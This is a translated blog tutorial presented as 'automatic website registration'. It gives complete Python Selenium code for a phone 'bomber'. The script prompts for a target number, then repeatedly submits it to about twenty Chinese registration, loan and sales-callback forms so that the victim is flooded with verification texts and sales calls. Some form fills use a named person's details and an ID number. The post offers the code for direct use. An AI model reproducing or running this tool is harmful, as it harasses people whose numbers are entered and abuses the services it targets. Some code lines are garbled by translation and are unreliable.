python crawler: specify automatic website registration, etc

Environment configuration: selenium library and browser driver (this article uses chrome driver)

1.pip install selenium

  1. Chrome driver domestic image download

Official download of chrome driver

3. Unzip the downloaded driver (corresponding to your own browser version and system version: Corresponding table of Chrome driver and Chrome version ), copy to Google browser directory, as shown in the figure:

Put the file in the working path where python runs (don't forget, it's easy to forget here)

The path of this program

This working path is the directory where the files you run are located. For example, if you put the files on the desktop, when you run the python files on the desktop, the desktop is the working path of the python.

The working path of the py file is as shown in the red box

4. Add Google browser installation directory to the path of user environment variable
(if this step is missing, an error of 'chromedriver' executable needs to be in PATH will be reported ****)

Modify the system environment variable path

Briefly:

Import and define Chrome objects

The browser header message has been mentioned in the previous article, which is more basic and will not be repeated.

This is mainly to create a Chrome driver

Initialization and button click information printing function

Here are the search elements and input of each website. The steps are as follows:

1. Use the get method of the created driver object to access the web address

2. Use the driver.find'element'by'xpath() method to find the element

View official Locating Elements Document can quickly understand its usage

in addition [python crawler] Introduction to the common element positioning method and operation of Selenium It's also very detailed

3.driver.implicitly_wait(). Maximum wait time for command execution

4. Use "found elements. send_keys()" for data input; click "found elements. Click()" and execute it in the send_yzm function (the last step, including the number of printing and sending)

5.time.sleep() wait for element to load, obsolete skip

6. The driver. Quit () method closes the browser

See here for the complete code (Run directly is finished):

from selenium import webdriver
import time
# from fake_useragent import UserAgent
# ua = UserAgent(verify_ssl=False)

from selenium.webdriver.common.action_chains import ActionChains
opt = webdriver.ChromeOptions()
# opt.add_argument('--headless')
#Replacement of head
opt.add_argument('user-agent="%s"' % 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36')

driver = webdriver.Chrome(chrome_options=opt)

class PunchBack:

    def __init__(self):
        self.phone = input('Please enter the number you want to bomb:')
        self.name = input('Please enter your name for him:')
        self.password = input('Please enter the password you set for him:')
        self.num = 0

    # Send verification code
    def send_yzm(self,button,name):
        button.click()
        self.num+=1
        print("{}  The first{}Successfully sent  {}".format(self.phone,self.num,name))

    # qq registers the interface. After repeated tests, it is found that ip needs to be switched
    def qq(self,name):
        try:
            driver.get('https://ssl.zc.qq.com/v3/index-chs.html')
            driver.implicitly_wait(10)
            driver.find_element_by_xpath('//input[@id="nickname"]').send_keys(self.name)
            driver.find_element_by_xpath('//input[@id="password"]').send_keys(self.password)
            driver.find_element_by_xpath('//input[@id="phone"]').send_keys(self.phone)
            button = driver.find_element_by_xpath('//a[@id="send-sms"]')
            self.send_yzm(button,name)
        except:
            print('This failure')

    # Melon seed registration interface
    def guazi(self,name):
        try:
            driver.implicitly_wait(10)
            driver.get ( "https://www.guazi.com/www/bj/buy" )
            a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
            a_btn.click ()
            tel = driver.find_element_by_xpath ( "//input[@placeholder = 'please input your mobile number'] ")
            tel.send_keys ( self.phone )
            button = driver.find_element_by_xpath ( "//button[@class='get-code']" )
            self.send_yzm ( button,name )
        except:
            print('This failure')

    # Vipshop registration interface
    def wphui(self,name):
        try:
            driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
            driver.implicitly_wait(10)
            tel = driver.find_element_by_xpath ( "//input[@placeholder = 'please input mobile number'] ")
            tel.send_keys ( self.phone )
            driver.find_element_by_xpath ( '//a[contains(./text(), "get verification code")] '). click()
            button = driver.find_element_by_xpath ("//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
            self.send_yzm ( button,name )
        except:
            print('This failure')

    # Suning registration interface
    def suning(self,name):
        try:
            driver.get ( "https://reg.suning.com/person.do" )
            driver.implicitly_wait(10)
            agree = driver.find_element_by_xpath("//a[@class='agree-btn']")
            agree.click()
            tel = driver.find_element_by_xpath ( "//*[@style='display: block;']")
            tel.send_keys ( self.phone )         
            button = driver.find_element_by_xpath ("//a[@id='sendSmsCode']" )           
            self.send_yzm ( button,name )
        except:
            print('This failure')

    # The registration interface of No.1 store needs to be verified by pull bar
    def yhd(self,name):
        try:
            driver.get ( "https://passport.yhd.com/passport/register_input.do" )
            driver.implicitly_wait(10)
            driver.find_element_by_xpath ( "//input[@class='ysame_input']" ).send_keys(self.name)
            print('1')
            # The attribute name of XX XX is two attributes, which can be taken as one
            tel = driver.find_element_by_xpath ( "//input[@id = 'phone']" )
            tel.send_keys ( self.phone )
            print('2')
            button = driver.find_element_by_xpath ("//a[contains(./text(),'Get verification code ')] ")
            print('3')
            driver.find_element_by_xpath("//input[@id='password']").send_keys(self.password)
            print('4')
            self.send_yzm ( button,name )
        except:
            print('This failure')

    # Like registration interface
    def youzan(self,name):
        try:
            driver.get('https://www.youzan.com/v2/account?from_source=baidu_pz_shouye_0&')
            driver.implicitly_wait(10)
            driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
            button = driver.find_element_by_xpath('//button[contains(./text(), "get verification code")] ')
            self.send_yzm(button, name)
        except:
            print('This failure')

    # Pinduoduo SMS login interface click no response don't know why
    def pinduoduo(self,name):
        try:
            driver.get('http://mobile.yangkeduo.com/login.html')
            driver.implicitly_wait(10)
            driver.find_element_by_xpath('//div[@class="phone-login"]/span').click()
            driver.find_element_by_xpath('//input[@id="user-mobile"]').send_keys(self.phone)
            button=driver.find_element_by_xpath("//*[@id4='code-button']")
            self.send_yzm(button, name)
        except:
            print('This failure')

    # Public comment landing interface
    def dianping(self,name):
        try:
            driver.get('https://maccount.dianping.com/login')
            driver.implicitly_wait(10)
            driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
            button = driver.find_element_by_xpath('//a[@class="J_send EasyLogin_send"]')
            self.send_yzm(button, name)
        except:
            print('This failure')

    # Alipay registration failed to click Send button
    def zhifubao(self,name):
        driver.get('https://memberprod.alipay.com/account/reg/index.htm')
        driver.implicitly_wait(10)
        iframe = driver.find_element_by_xpath('//iframe')
        driver.switch_to.frame(iframe)
        driver.find_element_by_xpath('//a[@seed="content-JAgreeButton"]').click()
        driver.find_element_by_xpath('//input[@id="J-accName"]').send_keys(self.phone)
        # button = driver.find_element_by_xpath('//button[@seed="JResendMobile-btn"]')
        button = driver.find_element_by_xpath('//button[contains(./text(), "get verification code")] ')

        for i in range(3):
            button.click()
        self.send_yzm(button, name)

    #Noah wealth
    def nuoyacaifu(self,name):
        driver.get('https://ifaclubstatic.noahgroup.com/baidu/pc2/index.html')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@id="register_name"]').send_keys('principal')
        driver.find_element_by_xpath('//input[@id="register_phone"]').send_keys(self.phone)

        # driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//button[@id="register_getcode"]')
        self.send_yzm(button, name)

    # Bomb a car
    def tangeche(self,name):
        for i in range(3):
            driver.get('https://www.tangeche.com/market')
            time.sleep(0.1)
        # driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@placeholder = "please input your mobile number"] '). send_keys(self.phone)
        button=driver.find_element_by_xpath('//div[contains(./text(), "ask for more offers")] ')
        self.send_yzm(button,name)

    # Big business finance -- sales phone bombing
    def dazuoshousell(self,name):
        while True:
            try:

                driver.get('http://www.jinrongdazuoshou.com/bdtg/')
                # time.sleep(1)
                # driver.get('h17803403206ttp://www.jinrongdazuoshou.com/bdtg/')
                # driver.implicitly_wait(10)
                driver.find_element_by_xpath('//input[@id="para116"]').send_keys('principal')
                driver.find_element_by_xpath('//input[@name="para117"]').send_keys(self.phone)
                button=driver.find_element_by_xpath('//a[@name="submit"]')
                self.send_yzm(button,name)
                break
            except:
                print('restart.......')

        alert=driver.switch_to_alert()
        alert.accept()

    # Colorful throw
    def duocaitou(self,name):
        driver.get('https://www.duocaitou.com/login?redirect=%2F')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@placeholder = "please input mobile number"] '). send_keys(self.phone)
        button=driver.find_element_by_xpath('//button[@class="getCode ivu-btn ivu-btn-text"]')
        self.send_yzm(button,name)

    # You and I loan
    def niwodai(self,name):
        driver.get('http://www.niwodai.com/ad2018.mhtml?artId=5820160000027066&utm_source=Baidu&utm_medium=cpc&cid=Search-PC-bd03-Shanghai-20170411-10001&nwd_ext_aid=3000001481188029&source_id=Search-PC-bd03-Shanghai-20170411-10001')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//em[@id="getPhonecode"]')
        self.send_yzm(button,name)

    # Huawei cloud registered chrome driver is not easy to use
    def huaweiyun(self,name):
        driver.get('https://reg.huaweicloud.com/registerui/public/custom/register.html#/register')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@id="accountNameId"]').send_keys('xianozhang')
        driver.find_element_by_xpath('//input[@id="passwordId"]').send_keys('nishijiba22')
        driver.find_element_by_xpath('//input[@id="confirmPasswordId"]').send_keys('nishijiba22')
        driver.find_element_by_xpath('//input[@id="phoneId"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//span[contains(./text(), "get SMS verification code")])
        self.send_yzm(button,name)

    # Pleasant loan chromedriver identified
    def yirendai(self,name):
        driver.get('https://www.yirencf.com/lp/431/5/')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@id="mobile"]').send_keys(self.phone)
        driver.find_element_by_xpath('//input[@id="paper"]').click()
        button=driver.find_element_by_xpath('//span[@id="SM_TXT_1"]')
        self.send_yzm(button,name)
        time.sleep(2)

    # Loan number for sale
    def daikuai(self,name):
        # 13636356336
        username = 'Xiang Rong Zhang'
        idcard = '430581198208082837'
        address = 'Shanghai Pudong New Area'
        driver.get('http://daikuai.lnxhxd.com/')
        driver.find_element_by_xpath('//input[@id="name"]').send_keys(username)
        driver.find_element_by_xpath('//input[@id="idcard"]').send_keys(idcard)
        driver.find_element_by_xpath('//input[@id="tel"]').send_keys(self.phone)
        driver.find_element_by_xpath('//input[@id="address"]').send_keys(address)
        driver.find_element_by_xpath('//select[@id="money"]').click()
        driver.find_element_by_xpath('//option[@value="100000"] '). click()
        driver.find_element_by_xpath('//select[@id="qixian"]').click()
        driver.find_element_by_xpath('//option[@value="3 years (36 issues)"] '). click()
        driver.find_element_by_xpath('//select[@id="yongtu"]').click()
        driver.find_element_by_xpath('//option[@value = "venture loan"] '). click()
        button = driver.find_element_by_xpath('//button[@name="zntjan"]')
        self.send_yzm(button,name)
        alert=driver.switch_to_alert()
        alert.accept()

    # Safe and good loan
    def pinanhaodai(self,name):
        username = 'Xiang Rong Zhang'
        driver.get('http://haodai.pingan.com/loan/index.html?WT.mc_id=ZTXYD-bdpc-pc1-tyc-821-0051220&WT.srch=1')
        driver.find_element_by_xpath('//input[@id="name"]').send_keys(username)
        driver.find_element_by_xpath('//input[@id="phone"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//div[@id="loan_next"]')
        self.send_yzm(button,name)
        # driver.find_element_by_xpath('//div[@id="curLocationPr"]').click()
        # driver.find_element_by_xpath('//li[@data-value="110000"]').click()
        # driver.find_element_by_xpath('//input[@id="y-m-d"]').click()
        # driver.find_element_by_xpath('//td[@class="Wwday"][1]').click()
        # driver.find_element_by_xpath('//div[@id="btn"]').click()

    # 360 loans
    def dai360(self,name):
        driver.get('https://cdn-daikuan.360jie.com.cn/dir_mkteditor/activity/qmmx/pc/1.3.0/12m1pcdz.html?utm_term=daikuan&utm_campaign=12mianshouqipc_201708&utm_medium=search1&utm_source=jinyuanbaiducpc360jietiao&utm_content=pinpai-banben')
        driver.find_element_by_xpath('//a[@class="get-btn"]').click()
        driver.switch_to_active_element()

        driver.find_element_by_xpath('//input[@id="mobile"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//a[@class="btnSendCode"]')
        self.send_yzm(button,name)

    # More fun
    def pinquduo(self,name):
        driver.get('https://wx.pinquduo.cn/login')
        driver.find_element_by_xpath('//input[@type="tel"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//span[contains(./text(), "get verification code")] ')
        self.send_yzm(button,name)

    # Ping an HP; leave the number for sales
    def pinanhuipu(self,name):
        driver.get('http://paph.adks.cn/page/pc-1011/?utm_source=MKT_baidu_ss&utm_medium=cpc&utm_campaign=Market-c&WT.mc_id=CXX-BD-TY2160129-160413-460&')
        driver.find_element_by_xpath('//input[@name="name"]').send_keys('zhang Xiangrong')
        driver.find_element_by_xpath('//input[@id="mobile"]').send_keys(self.phone)
        driver.find_element_by_xpath('//input[@id="nextsub"]').click()
        driver.find_element_by_xpath('//dt[contains(./text(), "please select age group")]). click()
        driver.find_element_by_xpath('//A [contains (. / text(), "under 21")]). click()
        driver.find_element_by_xpath('//input[@name="isCreditCard" and @value="1"]').click()
        driver.find_element_by_xpath('//input[@name="input_area"]').click()
        driver.find_element_by_xpath('//li[contains(./text(), "Nantong")] '). click()
        driver.find_element_by_xpath('//input[@name="liveTime"]').click()
        driver.find_element_by_xpath('//input[@name="hasHouseLoan"]').click()
        driver.find_element_by_xpath('//input[@name="hasCar"]').click()
        driver.find_element_by_xpath('//input[@name="payCarLoan"]').click()
        driver.find_element_by_xpath('//input[@name="hasLifeInsurance"]').click()
        driver.find_element_by_xpath('//input[@name="lifeInsuranceTotal"]').click()
        driver.find_element_by_xpath('//button[@class="nextStep"]').click()
        self.num+=1
        print("{}  The first{}Successfully sent  {}".format(self.phone,self.num,name))



    # Loop execution
    def main(self):
        while True:            
            #self.qq('qq')                           #qq is a bit powerful. I don't know why it's not recognized by automatic clicking        
            self.guazi('Melon seed')
            self.wphui('Vip.com')
            self.suning('Suning')
            #self.yhd('Shop No. 1')                      #Store 1 needs to identify
            self.youzan('Praise')
            self.pinduoduo('Much more')
            self.dianping('Public comment')
            self.tangeche('Bomb a car')
            self.nuoyacaifu('Noah wealth')
            self.dazuoshousell('Financial mastermind')
            self.duocaitou('p2p Colorful throw')
            self.niwodai('You and I loan')
            #self.huaweiyun('Hua Wei Yun')                #Huawei to identify
            self.yirendai('Pleasant loan')
            self.daikuai('daikuai')
            self.pinanhaodai('Safe and good loan')
            self.dai360('360 IOU')
            self.pinquduo('More fun')
            self.pinanhuipu('Ping An HP')
            time.sleep(60*5)

if __name__ == '__main__':
    OnePunchMan = PunchBack()
    OnePunchMan.main()

 

The effect is as follows:

Run program effect preview

Browser effect preview

34 original articles published, 39 praised, 150000 visitors+
Private letter follow

Keywords: Mobile Selenium Python Google

Added by chawkimatta on Tue, 11 Feb 2020 15:26:10 +0200